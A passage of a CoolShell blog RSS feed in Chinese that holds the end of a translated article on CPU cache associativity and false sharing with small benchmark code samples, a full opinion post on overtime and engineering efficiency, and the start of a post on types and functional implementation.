/>\n每个内存块能够被映射到任意一个缓存槽。操作效果上相当于一个散列表。</li>\n</ol>\n<p>直接映射缓存会引发冲突——当多个值竞争同一个缓存槽，它们将相互驱逐对方，导致命中率暴跌。另一方面，完全关联缓存过于复杂，并且硬件实现上昂贵。N路组关联是处理器缓存的典型方案，它在电路实现简化和高命中率之间取得了良好的折中。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"完全关联与多路关联的cache映射\" src=\"http://my.csdn.net/uploads/201204/18/1334757273_8141.png\" /><br />\n（此图由译者给出，直接映射和完全关联可以看做N路组关联的两个极端，从图中可知当N=1时，即直接映射；当N取最大值时，即完全关联。读者可以自行想象直接映射图例，具体表述见参考资料。）</p>\n<p>举个例子，4MB大小的L2缓存在我机器上是16路关联。所有64字节内存块将分割为不同组，映射到同一组的内存块将竞争L2缓存里的16路槽位。</p>\n<p>L2缓存有65,536个缓存行（译者注：4MB/64），每个组需要16路缓存行，我们将获得4096个集。这样一来，块属于哪个组取决于块索引的低12位bit(2^12=4096)。<strong>因此缓存行对应的物理地址凡是以262,144字节(4096*64)的倍数区分的，将竞争同一个缓存槽。我机器上最多维持16个这样的缓存槽。</strong>（译者注：请结合上图中的2路关联延伸理解，一个块索引对应64字节，chunk0对应组0中的任意一路槽位，chunk1对应组1中的任意一路槽位，以此类推chunk4095对应组4095中的任意一路槽位，chunk0和chunk4096地址的低12bit是相同的，所以chunk4096、chunk8192将同chunk0竞争组0中的槽位，它们之间的地址相差262,144字节的倍数，而最多可以进行16次竞争，否则就要驱逐一个chunk）。</p>\n<p>为了使得缓存关联效果更加明了，我需要重复地访问同一组中的16个以上的元素，通过如下方法证明：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">public static long UpdateEveryKthByte(byte[] arr, int K)\n{\n    Stopwatch sw = Stopwatch.StartNew();\n    const int rep = 1024*1024; // Number of iterations – arbitrary\n    int p = 0;\n    for (int i = 0; i &lt; rep; i++)\n    {\n        arr[p]++;\n        p += K;\n        if (p &gt;= arr.Length) p = 0;\n    }\n    sw.Stop();\n    return sw.ElapsedMilliseconds;\n}</pre>\n<p>该方法每次在数组中迭代K个值，当到达末尾时从头开始。循环在运行足够长（2^20次）之后停止。</p>\n<p>我使用不同的数组大小（每次增加1MB）和不同的步长传入UpdateEveryKthByte()。以下是绘制的图表，蓝色代表运行较长时间，白色代表较短时间：<br />\n<img decoding=\"async\" class=\"aligncenter\" alt=\"timing\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/02/image_thumb1_opt.png\" /><br />\n蓝色区域（较长时间）表明当我们重复数组迭代时，更新的值无法同时放在缓存中。浅蓝色区域对应80毫秒，白色区域对应10毫秒。</p>\n<p>让我们来解释一下图表中蓝色部分：</p>\n<p><strong>1.为何有垂直线？</strong>垂直线表明步长值过多接触到同一组中内存位置（大于16次）。在这些次数里，我的机器无法同时将接触过的值放到16路关联缓存中。</p>\n<p>一些糟糕的步长值为2的幂：256和512。举个例子，考虑512步长遍历8MB数组，存在32个元素以相距262,144字节空间分布，所有32个元素都会在循环遍历中更新到，因为512能够整除262,144（译者注：此处一个步长代表一个字节）。</p>\n<p>由于32大于16，这32个元素将一直竞争缓存里的16路槽位。</p>\n<p>（译者注：为何512步长的垂直线比256步长颜色更深？在同样足够多的步数下，512比256访问到存在竞争的块索引次数多一倍。比如跨越262,144字节边界512需要512步，而256需要1024步。那么当步数为2^20时，512访问了2048次存在竞争的块而256只有1024次。最差情况下步长为262,144的倍数，因为每次循环都会引发一个缓存行驱逐。）</p>\n<p>有些不是2的幂的步长运行时间长仅仅是运气不好，最终访问到的是同一组中不成比例的许多元素，这些步长值同样显示为蓝线。</p>\n<p><strong>2.为何垂直线在4MB数组长度的地方停止？</strong>因为对于小于等于4MB的数组，16路关联缓存相当于完全关联缓存。</p>\n<p>一个16路关联缓存最多能够维护16个以262,144字节分隔的缓存行，4MB内组17或更多的缓存行都没有对齐在262,144字节边界上，因为16*262,144=4,194,304。</p>\n<p><strong>3.为何左上角出现蓝色三角？</strong>在三角区域内，我们无法在缓存中同时存放所有必要的数据，不是出于关联性，而仅仅是因为L2缓存大小所限。</p>\n<p>举个例子，考虑步长128遍历16MB数组，数组中每128字节更新一次，这意味着我们一次接触两个64字节内存块。为了存储16MB数组中每两个缓存行，我们需要8MB大小缓存。但我的机器中只有4MB缓存（译者注：这意味着必然存在冲突从而延时）。</p>\n<p>即使我机器中4MB缓存是全关联，仍无法同时存放8MB数据。</p>\n<p><strong>4.为何三角最左边部分是褪色的？</strong>注意左边0~64字节部分——正好一个缓存行！就像上面示例1和2所说，额外访问相同缓存行的数据几乎没有开销。比如说，步长为16字节，它需要4步到达下一个缓存行，也就是说4次内存访问只有1次开销。</p>\n<p>在相同循环次数下的所有测试用例中，采取省力步长的运行时间来得短。</p>\n<p>将图表延伸后的模型：<br />\n<img decoding=\"async\" class=\"aligncenter\" alt=\"timing2\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/02/assoc_big_thumb1_opt.png\" /></p>\n<p>缓存关联性理解起来有趣而且确能被证实，但对于本文探讨的其它问题比起来，它肯定不会是你编程时所首先需要考虑的问题。</p>\n<h4>示例6：缓存行的伪共享(false-sharing)</h4>\n<p>在多核机器上，缓存遇到了另一个问题——一致性。不同的处理器拥有完全或部分分离的缓存。在我的机器上，L1缓存是分离的（这很普遍），而我有两对处理器，每一对共享一个L2缓存。这随着具体情况而不同，如果一个现代多核机器上拥有多级缓存，那么快速小型的缓存将被处理器独占。</p>\n<p><strong>当一个处理器改变了属于它自己缓存中的一个值，其它处理器就再也无法使用它自己原来的值，因为其对应的内存位置将被刷新(invalidate)到所有缓存。而且由于缓存操作是以缓存行而不是字节为粒度，所有缓存中整个缓存行将被刷新！</strong></p>\n<p>为证明这个问题，考虑如下例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">private static int[] s_counter = new int[1024];\nprivate void UpdateCounter(int position)\n{\n    for (int j = 0; j &lt; 100000000; j++)\n    {\n        s_counter[position] = s_counter[position] + 3;\n    }\n}</pre>\n<p>在我的四核机上，如果我通过四个线程传入参数0,1,2,3并调用UpdateCounter，所有线程将花费4.3秒。</p>\n<p>另一方面，如果我传入16,32,48,64，整个操作进花费0.28秒！</p>\n<p>为何会这样？第一个例子中的四个值很可能在同一个缓存行里，每次一个处理器增加计数，这四个计数所在的缓存行将被刷新，而其它处理器在下一次访问它们各自的计数（译者注：注意数组是private属性，每个线程独占）将失去命中(miss)一个缓存。这种多线程行为有效地禁止了缓存功能，削弱了程序性能。</p>\n<h4>示例7：硬件复杂性</h4>\n<p>即使你懂得了缓存的工作基础，有时候硬件行为仍会使你惊讶。不用处理器在工作时有不同的优化、探试和微妙的细节。</p>\n<p>有些处理器上，L1缓存能够并发处理两路访问，如果访问是来自不同的存储体，而对同一存储体的访问只能串行处理。而且处理器聪明的优化策略也会使你感到惊讶，比如在伪共享的例子中，以前在一些没有微调的机器上运行表现并不良好，但我家里的机器能够对最简单的例子进行优化来减少缓存刷新。</p>\n<p>下面是一个“硬件怪事”的奇怪例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">private static int A, B, C, D, E, F, G;\nprivate static void Weirdness()\n{\n    for (int i = 0; i &lt; 200000000; i++)\n    {\n        // do something...\n    }\n}</pre>\n<p>当我在循环体内进行三种不同操作，我得到如下运行时间：</p>\n<p><strong>           操作</strong>                    <strong>时间</strong><br />\nA++; B++; C++; D++;     719 ms<br />\nA++; C++; E++; G++;     448 ms<br />\nA++; C++;                      518 ms</p>\n<p>增加A,B,C,D字段比增加A,C,E,G字段花费更长时间，更奇怪的是，增加A,C两个字段比增加A,C,E,G执行更久！</p>\n<p>我无法肯定这些数字背后的原因，但我怀疑这跟存储体有关，如果有人能够解释这些数字，我将洗耳恭听。</p>\n<p>这个例子的教训是，你很难完全预测硬件的行为。你可以预测很多事情，但最终，衡量及验证你的假设非常重要。</p>\n<h4>关于第7个例子的一个回帖</h4>\n<p>Goz：我询问Intel的工程师最后的例子，得到以下答复：</p>\n<p>“很显然这涉及到执行单元里指令是怎样终止的，机器处理存储-命中-加载的速度，以及如何快速且优雅地处理试探性执行的循环展开（比如是否由于内部冲突而多次循环）。但这意味着你需要非常细致的流水线跟踪器和模拟器才能弄明白。在纸上预测流水线里的乱序指令是无比困难的工作，就算是设计芯片的人也一样。对于门外汉来说，没门，抱歉！”</p>\n<h4>P.S.个人感悟——局部性原理和流水线并发</h4>\n<p>程序的运行存在<strong>时间和空间上的局部性</strong>，前者是指只要内存中的值被换入缓存，今后一段时间内会被多次引用，后者是指该内存附近的值也被换入缓存。如果在编程中特别注意运用局部性原理，就会获得性能上的回报。</p>\n<p>比如<strong>C语言中应该尽量减少静态变量的引用，</strong>这是因为静态变量存储在全局数据段，在一个被反复调用的函数体内，引用该变量需要对缓存多次换入换出，而如果是分配在堆栈上的局部变量，函数每次调用CPU只要从缓存中就能找到它了，因为堆栈的重复利用率高。</p>\n<p>再比如<strong>循环体内的代码要尽量精简，</strong>因为代码是放在指令缓存里的，而指令缓存都是一级缓存，只有几K字节大小，如果对某段代码需要多次读取，而这段代码又跨越一个L1缓存大小，那么缓存优势将荡然无存。</p>\n<p>关于<strong>CPU的流水线(pipeline)并发性</strong>简单说说，Intel Pentium处理器有两条流水线U和V，每条流水线可各自独立地读写缓存，所以可以在一个时钟周期内同时执行两条指令。但这两条流水线不是对等的，U流水线可以处理所有指令集，V流水线只能处理简单指令。</p>\n<p>CPU指令通常被分为四类，第一类是常用的简单指令，像mov, nop, push, pop, add, sub, and, or, xor, inc, dec, cmp, lea，可以在任意一条流水线执行，只要相互之间不存在依赖性，完全可以做到指令并发。</p>\n<p>第二类指令需要同别的流水线配合，像一些进位和移位操作，这类指令如果在U流水线中，那么别的指令可以在V流水线并发运行，如果在V流水线中，那么U流水线是暂停的。</p>\n<p>第三类指令是一些跳转指令，如cmp,call以及条件分支，它们同第二类相反，当工作在V流水线时才能通U流水线协作，否则只能独占CPU。</p>\n<p>第四类指令是其它复杂的指令，一般不常用，因为它们都只能独占CPU。</p>\n<p>如果是汇编级别编程，<strong>要达到指令级别并发，必须要注重指令之间的配对。</strong>尽量使用第一类指令，避免第四类，还要在顺序上减少上下文依赖。</p>\n<h4>参考资料</h4>\n<p>wiki上的CPU cache解析（<a href=\"http://zh.wikipedia.org/zh-cn/CPU%E7%BC%93%E5%AD%98\" target=\"_blank\">中文版</a>）（<a href=\"https://en.wikipedia.org/wiki/CPU_cache\" target=\"_blank\">英文版</a>）。</p>\n<p>上海交通大学师生制作的一个关于<a href=\"http://yoursunny.com/study/EI209/?topic=cache\" target=\"_blank\">cache映射功能、命中率计算</a>的教学演示程序，模拟了不同关联模式下cache的映射和命中几率，形象直观。</p>\n<p>网易数据库大牛<a href=\"http://weibo.com/u/2216172320\" target=\"_blank\">@何_登成</a>自制PPT<a href=\"http://vdisk.weibo.com/s/dBzv2sibdUB8\" target=\"_blank\">《CPU Cache and Memory Ordering》</a>，信息量超大！</p>\n<p>南京大学计算机教学<a href=\"http://cs.nju.edu.cn/swang/CompArchOrg_12F/slides/lecture09.pdf\" target=\"_blank\">公开PPT</a>，温馨提示，地址域名里面改变字段&#8221;lecture&#8221;后面的数字编号可切换课程;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20793.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-150x150.png\" alt=\"与程序员相关的CPU缓存知识\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20793.html\" class=\"wp_rp_title\">与程序员相关的CPU缓存知识</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-150x150.jpg\" alt=\"疫苗：Java HashMap的死循环\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_title\">疫苗：Java HashMap的死循环</a></li><li ><a href=\"https://coolshell.cn/articles/2039.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"CPU的性价比\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2039.html\" class=\"wp_rp_title\">CPU的性价比</a></li><li ><a href=\"https://coolshell.cn/articles/93.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn-150x150.png\" alt=\"版本控制Subversion相关资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/93.html\" class=\"wp_rp_title\">版本控制Subversion相关资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10249.html\">7个示例科普CPU Cache</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10249.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>73</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>加班与效率</title>\n\t\t<link>https://coolshell.cn/articles/10217.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10217.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 24 Jul 2013 00:28:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Project]]></category>\n\t\t<category><![CDATA[Rework]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10217</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>微博上看到了这么一个贴子，就像以前在《腾讯，竞争力 和 用户体验》中批评过腾讯说自己的核心竞争力是员工加班一样，我顺着Winter的回复也批评了一下这个微博——...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10217.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-10220\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-300x201.jpg\" width=\"240\" height=\"161\" />微博上看到了<a href=\"http://weibo.com/1401880315/A0LFVkB3L\" target=\"_blank\">这么一个贴子</a>，就像以前在《<a title=\"腾讯，竞争力 和 用户体验\" href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\">腾讯，竞争力 和 用户体验</a>》中批评过腾讯说自己的核心竞争力是员工加班一样，我顺着Winter的回复也批评了一下这个微博——</p>\n<p style=\"padding-left: 30px;\">“<span style=\"color: #808080;\">靠加班超越对手？！劳动密集型么？我要是对手的话，我就来趁机挖人了，直接摁死你……//<a href=\"http://weibo.com/n/%E5%AF%92%E5%86%ACwinter\"><span style=\"color: #808080;\">@寒冬winter</span></a>: 当一个管理者的智慧无法衡量一支团队的产出的时候，他就会把“工时”当做最后的救命稻草，死死抱住——这是他唯一听得懂的东西了</span>。”</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10218\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/work_overtime.png\" width=\"539\" height=\"120\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/07/work_overtime.png 539w, https://coolshell.cn/wp-content/uploads/2013/07/work_overtime-300x66.png 300w\" sizes=\"(max-width: 539px) 100vw, 539px\" /></p>\n<p>然后，<a title=\"玄了个澄的\" href=\"http://weibo.com/jiach\">@玄了个澄的</a>在微博里at我说，他在微信里看了<a href=\"http://weibo.com/n/Fenng\">@Fenng</a> 关于加班的言论，希望我评论一下。我看了一下大辉的文章，虽然写得有点散乱，但是我和他的一些观点还是很类似的，我主要在这里加强一下我的看法。</p>\n<h4>关于加班</h4>\n<p><strong>认为加班是公司的核心竞争力，或是超越对手的手段，是一种相当 Ridiculous 的想法。这说明管理者们已经想不到自己公司的核心价值了</strong>。</p>\n<p><span id=\"more-10217\"></span></p>\n<p>是的，这些靠堆功能没有灵魂的产品的价值就只剩下比谁跑得快了。他们愚蠢和思维有限的大脑里已经区分不出来，“跑得快”和“跑得好”的差别了。产品的发展不是短跑，而是长跑，甚至更像是登山，登山比的不是快，而比的是策略，比的是意志，目的是登顶。并不是谁一开始爬得快谁就能最先登顶的，你往往被超越的时候都在后半程。对于一些危险的雪山来说，登顶的人通常都是要做好非常很充分的准备，并且在登山的过程中学会如何保留体力，学会如何步步为营的，从来不强行登顶。</p>\n<p>在<a title=\"《Rework》摘录及感想\" href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a> 中提到过两点</p>\n<ul>\n<li><strong>条件受限是好事，因为条件受限可以让你小材大用，让你没有办法再用蛮力来完成工作，让你必需去思考使用知识密集型的解决方案来更聪明的解决问题</strong>。</li>\n</ul>\n<ul>\n<li><strong>工作狂往往不得要领。他们花大把大把的时间去解决问题，他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案</strong>。</li>\n</ul>\n<p>就像人肉手动的织布机一样，当面对大量订单的时候，一个简单粗暴的方法就是拼命地加人和拼命地工作来换取更大的生产力。只有你在人手不够或是人力成本太高的情况下，你才会去想是不是可以优化一下工具，制造一个更有效率更有生产力的工具。</p>\n<p><strong>在中国，劳动力的成本不高，而管理者们的智力和能力有限，所以，在这个环境下，尤其在KPI和数字的重压下，管理者们是非常非常容易想到需要靠加人或是加班来提高产能的</strong>。所以，他们放弃了知识密集型的创新，而采用了劳动密集型的简单粗暴的方式，长期下来，导致了自己再也不会思考，导致了只会使用人肉解决问题。</p>\n<p>于是，当全自动化的织布机出现的时候，这种劳动密集型的公司分分钟就成为了历史。这样的例子太多太多了，看看历史就知道了。</p>\n<p>当然，有时候，我们需要冲刺还是要适当偶尔加班的，但这绝对不应该是常态和长期的，不然，这必然是一种饮鸩止渴的行为。</p>\n<p>另外，我还要多说几种情况：</p>\n<p style=\"padding-left: 30px;\">1）如果你的员工就像在《<a title=\"软件公司的两种管理方式\" href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\">软件公司的两种管理</a>》中所说的，像Widget Factories那样，净是些X型的人的话，那么，你也只有使用加班和加人这种方式，就像长城和金字塔的建设过程一样，就像富士康一样，你的团队本质是不会思考只能用鞭子去抽他们的方式去管理。于是，你也只能用“狼性”来呼唤你的员工像那些低智商的野兽一样的行事。</p>\n<p style=\"padding-left: 30px;\">2）有时候，我们需要去“卡位”，需要很快地去实现一个东西占领市场，这需要加班。就像Win95和Intel的奔腾芯片的浮点数问题一样。但是千万不要忘了，你在卡完位后，得马上把你产品的质量搞上去，不然，你一样会死得很难看。（Windows是有两个团队的，一个团队是用来占领市场的，另一个团队是安心搞发展的）注意：“卡位”从某种程度上来说应该是一种有价值的事，但我们依然要思考是否在用蛮力行事。</p>\n<p style=\"padding-left: 30px;\">3）另外，有的人工作就是生活，生活就是工作，所以，对他来说，这不是一种工作，而是一种事业。我认可这样的精神和热情，但是，我还是想让这样的人反思一下自己，有没有用一种更为聪明的方式来从事自己的事业？而不是用蛮力。</p>\n<p>无论上述的哪种情况，我们都可以看到，只要你进入了劳动密集型，靠人和靠加班来解决问题，并沉迷并深 陷其中不能自拔，那们，你终有一天会玩到尽头的。</p>\n<h4>关于效率</h4>\n<p><strong>很多人不知道什么叫效率，他们以为效率就是：单位时间单位人数下干更多的活。这是错的！效率不是比谁干的活多，而是比谁干得活有更大的价值</strong>。效率的物理公式是：<span style=\"color: #ff0000;\"><strong>有用功/总功</strong></span>。<span style=\"color: #000000;\">换句话说，效率就是：单位时间和人数产生的价值</span>。所以，提高效率，并不是加人，也不是干更多的活，而是，你这么多人干出来了多少有价值的东西。</p>\n<p>有了公式，我们也就知道怎么来提高效率了。</p>\n<p><strong>1）增加有用功</strong></p>\n<ul>\n<li>你得多问问你的需求方，为什么要加这个需求？干这个事到底有多大的价值？能让多少人受益？</li>\n<li>你得多问问你的需求方，能不能稍微简化一下需求，这样可以让我付出的努力更少一些？</li>\n<li>你得要多去思考一下，你是在干一个建筑队的活呢？还是在干一个装修队的活？</li>\n<li>你得要多去思考一下，业务上和用户的最大的痛点是什么？</li>\n</ul>\n<p>关于增加有用功，再说两点：</p>\n<ul>\n<li>像乔布斯那样，告诉你的产品经理或是业务方，你现在提的10需求，我只能做3个，会是哪3个？为什么是这3个？<strong>有用功的来源不是拼命做需求，而是砍需求。</strong></li>\n</ul>\n<ul>\n<li><strong>关于创造价值，我们要干的不是像百度的“竞价排名”那样，把钱从别人口袋里搬运到自己的口袋里，而是要像“英国工业革命”或是“硅谷”那样，把价值真正的创造出来</strong>。</li>\n</ul>\n<p><strong>2）降低总功</strong></p>\n<ul>\n<li><span style=\"line-height: 13px;\">你得多问问自己，你有多少时间是在干一些支持性而不是产出性的工作？</span></li>\n<li>你得多问问自己，有没有残酷无情地减少重复劳动的劳动密集型的工作？</li>\n<li>你得多问问自己，自己的管理者和员工的能力和素质有没有在降低你的团队执行的成本？</li>\n</ul>\n<p><strong>3）形成合力</strong></p>\n<p>有一个很不错的产品经理对我说，他看了南京那两个小女孩被饿死的消息，感到很震惊。与之有关联的每一方都说自己尽力，但是最终结果人还是饿死了，你几乎不敢相信这是真的。</p>\n<p>但是，类比一下我们的项目，这种事似乎又发生在我们的公司当中，尤其是大公司中。每一个团队都说自己尽力了，结果项目就是没做好，底层团队说自己只干底层，已经尽力了，前端说自己只负责前端，也尽力了，后端说自己只管后端，不管前端和底层，运维说对于这样的设计和部署自己也尽力了，产品经理，运营都这样说，自己尽力了。你会发现，你几乎很难批评他们，因为他们的确如他们所说的那样，把他们自己的那块都做得很好了，而且的确做得很好了。但是，最终的结果却是：整个产品问题很多。</p>\n<p><strong>所以说，效率不是每个团队各自的效率，而是整个团队对整个产品负责的共同使命，这样才会现整体的效率。没有整体的效率，只有个体的效率，最终也等于没有效率</strong>。</p>\n<h4>T-Shirt Size Estimation</h4>\n<p>Amazon用一种T-Shirt Size 估计的方式来做项目。</p>\n<ul>\n<li>产品经理会对每一条需求评估上业务影响力的尺寸，如：XXXL 影响一千万人以上或是可以占到上亿美金的市场，XXL，影响百万用户或是占了千万金级别以上的市场，后面还有XL，L，M，S，这样下来。</li>\n</ul>\n<ul>\n<li>开发团队也一样，要评估投入的人员时间成本，XXXL表示要干1年，XXL干半年，XL干3个月，L干两个月，M干一个月，S干两周以下。等等。</li>\n</ul>\n<p>于是，</p>\n<ul>\n<li>当业务影响力是XL，时间人员成本是S，这是最高优先级。</li>\n<li>当业务影响力是M，时间人员成本是M，这是低优先级。</li>\n<li>当业务影响力是S，时间人员成本是XL，直接砍掉这个需求。因为是亏的。</li>\n<li>当业务影响力是XXL，时间人员成本是XXL，需要简化需求，把需求简化成XL，时间人员成本变成M以下。</li>\n</ul>\n<p>大家感受一下吧。</p>\n<p>好了，我就说这么多，欢迎大家讨论。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework-150x150.jpg\" alt=\"《Rework》摘录及感想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_title\">《Rework》摘录及感想</a></li><li ><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"软件公司的两种管理方式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_title\">软件公司的两种管理方式</a></li><li ><a href=\"https://coolshell.cn/articles/3218.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"开发时间估计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3218.html\" class=\"wp_rp_title\">开发时间估计</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10217.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>194</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>类型的本质和函数式实现</title>\n\t\t<link>https://coolshell.cn/articles/10169.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10169.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Mon, 22 Jul 2013 11:46:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10169</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @文艺复兴记（todd） 投递此文） 在上一篇文章《二叉树迭代器算法》中，我介绍了一种基于栈的二叉树迭代器实现。程序设计语言和Haskell大牛@九瓜 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10169.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a 